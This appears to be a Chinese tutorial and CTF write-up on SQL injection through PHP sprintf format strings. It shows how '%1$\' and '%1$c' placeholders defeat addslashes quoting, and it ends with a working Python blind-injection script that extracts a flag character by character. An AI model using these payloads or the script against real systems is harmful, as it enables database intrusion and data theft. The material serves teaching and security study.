PHP sprintf格式化字符串漏洞

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原理

sprintf()
把百分号（%）符号替换成一个作为参数进行传递的变量：

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<?php
$number = 2;
$str = "Shanghai";
$txt = sprintf("There are %u million cars in %s.",$number,$str);
echo $txt;
?>

运行结果

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There are 2 million cars in Shanghai.

定义和用法
sprintf() 函数把格式化的字符串写入变量中。

arg1、arg2、++ 参数将被插入到主字符串中的百分号（%）符号处。该函数是逐步执行的。在第一个 % 符号处，插入 arg1，在第二个 % 符号处，插入 arg2，依此类推。

注释：如果 % 符号多于 arg 参数，则您必须使用占位符。占位符位于 % 符号之后，由数字和 “\$” 组成。

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<?php
$number = 123;
$txt = sprintf("带有两位小数：%1\$.2f
<br>不带小数：%1\$u",$number);
echo $txt;
?>

结果:

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带有两位小数：123.00
不带小数：123

漏洞分析

接下来看看sprintf()的底层实现方法

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switch (format[inpos]) {
case 's':
    {
        zend_string * t;
        zend_string * str = zval_get_tmp_string(tmp, &t);
        php_sprintf_appendstring( & result, &outpos, ZSTR_VAL(str), width, precision, padding, alignment, ZSTR_LEN(str), 0, expprec, 0);
        zend_tmp_string_release(t);
        break;
    }
case 'd':
    php_sprintf_appendint( & result, &outpos, zval_get_long(tmp), width, padding, alignment, always_sign);
    break;
case 'u':
    php_sprintf_appenduint( & result, &outpos, zval_get_long(tmp), width, padding, alignment);
    break;
case 'g':
case 'G':
case 'e':
case 'E':
case 'f':
case 'F':
    php_sprintf_appenddouble( & result, &outpos, zval_get_double(tmp), width, padding, alignment, precision, adjusting, format[inpos], always_sign);
    break;
case 'c':
    php_sprintf_appendchar( & result, &outpos, (char) zval_get_long(tmp));
    break;
case 'o':
    php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 3, hexchars, expprec);
    break;
case 'x':
    php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 4, hexchars, expprec);
    break;
case 'X':
    php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 4, HEXCHARS, expprec);
    break;
case 'b':
    php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 1, hexchars, expprec);
    break;
case '%':
    php_sprintf_appendchar( & result, &outpos, '%');
    break;
default:
    break;
}

可以看到， php源码中只对15种类型做了匹配， 其他字符类型都直接break了，php未做任何处理，直接跳过，所以导致了这个问题：
如果我们输入"%\"或者"%1$\",他会把反斜杠当做格式化字符的类型，然而找不到匹配的项那么"%\","%1$\"就因为没有经过任何处理而被替换为空。

因此sprintf注入的原理就是

我们用一个15种类型之外的 "\"来代替格式字符类型让函数替换为空，则“%1$\’”后面的单引号就能闭合前面的单引号，以下是一些例子帮助我们更好的理解

不带占位符的

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<?php

$sql="select * from user where username='%\' and 1=1 #';";
$user='admin';
echo sprintf($sql,$user);

?>

运行结果：

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select * from user where username='' and 1=1 #';

注意：username=’’这里是两个单引号不是双引号

带有占位符：
先看不带的原样输出

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and 1=1#
AND b='and 1=1#'
SELECT * FROM t WHERE a='admin' AND b='and 1=1#'

进行绕过

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<?php
//addslashes()函数：在预定义前面加反斜杠，预定义符有单引号（'），双引号（"），反斜杠（\），NULL
$input = addslashes ("%1$' and 1=1#" );
$b = sprintf ("AND b='%s'", $input );
$sql = sprintf ("SELECT * FROM t WHERE a='%s' $b ", 'admin' );
echo  $sql ;
?>

对$input与$b进行了拼接

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$sql = sprintf ("SELECT * FROM t WHERE a='%s' AND b='%1$\' and 1=1#' ", 'admin' );

很明显，这个句子里面的\是由addsashes为了转义单引号而加上的，使用%s与%1$\类匹配admin，那么admin只会出现在%s里，%1$\为空
所以输出

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%1$\' and 1=1#
AND b='%1$\' and 1=1#'
SELECT * FROM t WHERE a='admin' AND b='' and 1=1#'


对于这个问题，我们还可以这样写

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$sql = sprintf ("SELECT * FROM table WHERE a='%1$\' AND b='%d' and 1=1#' ",'admin');

result:

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SELECT * FROM t WHERE a='admin' AND b='' and 1=1#'

第一个格式化处匹配时为空，会让给后面的格式化匹配

以上两个例子是吃掉’\’来使得单引号逃逸出来

下面这个例子我们构造单引号

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<?php
$input1 = '%1$c) OR 1 = 1 /*' ;
$input2 = 39 ;
$sql = "SELECT * FROM foo WHERE bar IN (' $input1 ') AND baz = %s" ;
echo($sql."<br>");
$sql = sprintf ( $sql , $input2 );
echo  $sql ;

结果：

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SELECT * FROM foo WHERE bar IN (' %1$c) OR 1 = 1 /* ') AND baz = %s
SELECT * FROM foo WHERE bar IN (' ') OR 1 = 1 /* ') AND baz = 39

%c起到了类似chr()的效果，将数字39转化为‘，从而导致了sql注入。

所以结果为：

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SELECT * FROM foo WHERE bar IN ('') OR 1 = 1 /*) AND baz = 39

实战

i春秋的 “迎圣诞，拿大奖”活动赛题
https://www.ichunqiu.com/battalion?t=1&r=60469

进行fuzz时 ，当输入%时爆sprintf()错误

于是构造username=admin%1$\' and 1=2#与 username=admin%1$\' and 1=1#
于是写下脚本：

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# _*_ coding : utf-8 _*_
import requests
import re
import urllib2


headers = {
'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0',
}

dbname = ""
chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
url = "http://00eec0b6e68b4332b078c559e3fee6307720121e6aaf49e4.changame.ichunqiu.com/"
for m in range(30,50):
   for i in range(32, 126):
       s = "%1$' or ascii(substr((select flag from flag),"+str(m)+",1))="+str(i)+"#"
       # str1 = urllib2.quote(s)
       str1 = s
       data={'username' : str1, 'password' : '12313'}
       # print str1
       # print urllib2.unquote(str1)
       req = requests.post(url=url, data=data,headers=headers)
       # print req.text
       # print req.text
       result = re.findall('password error', req.content)
       if result:
           dbname = dbname + chr(i)
           print dbname
           print chr(i)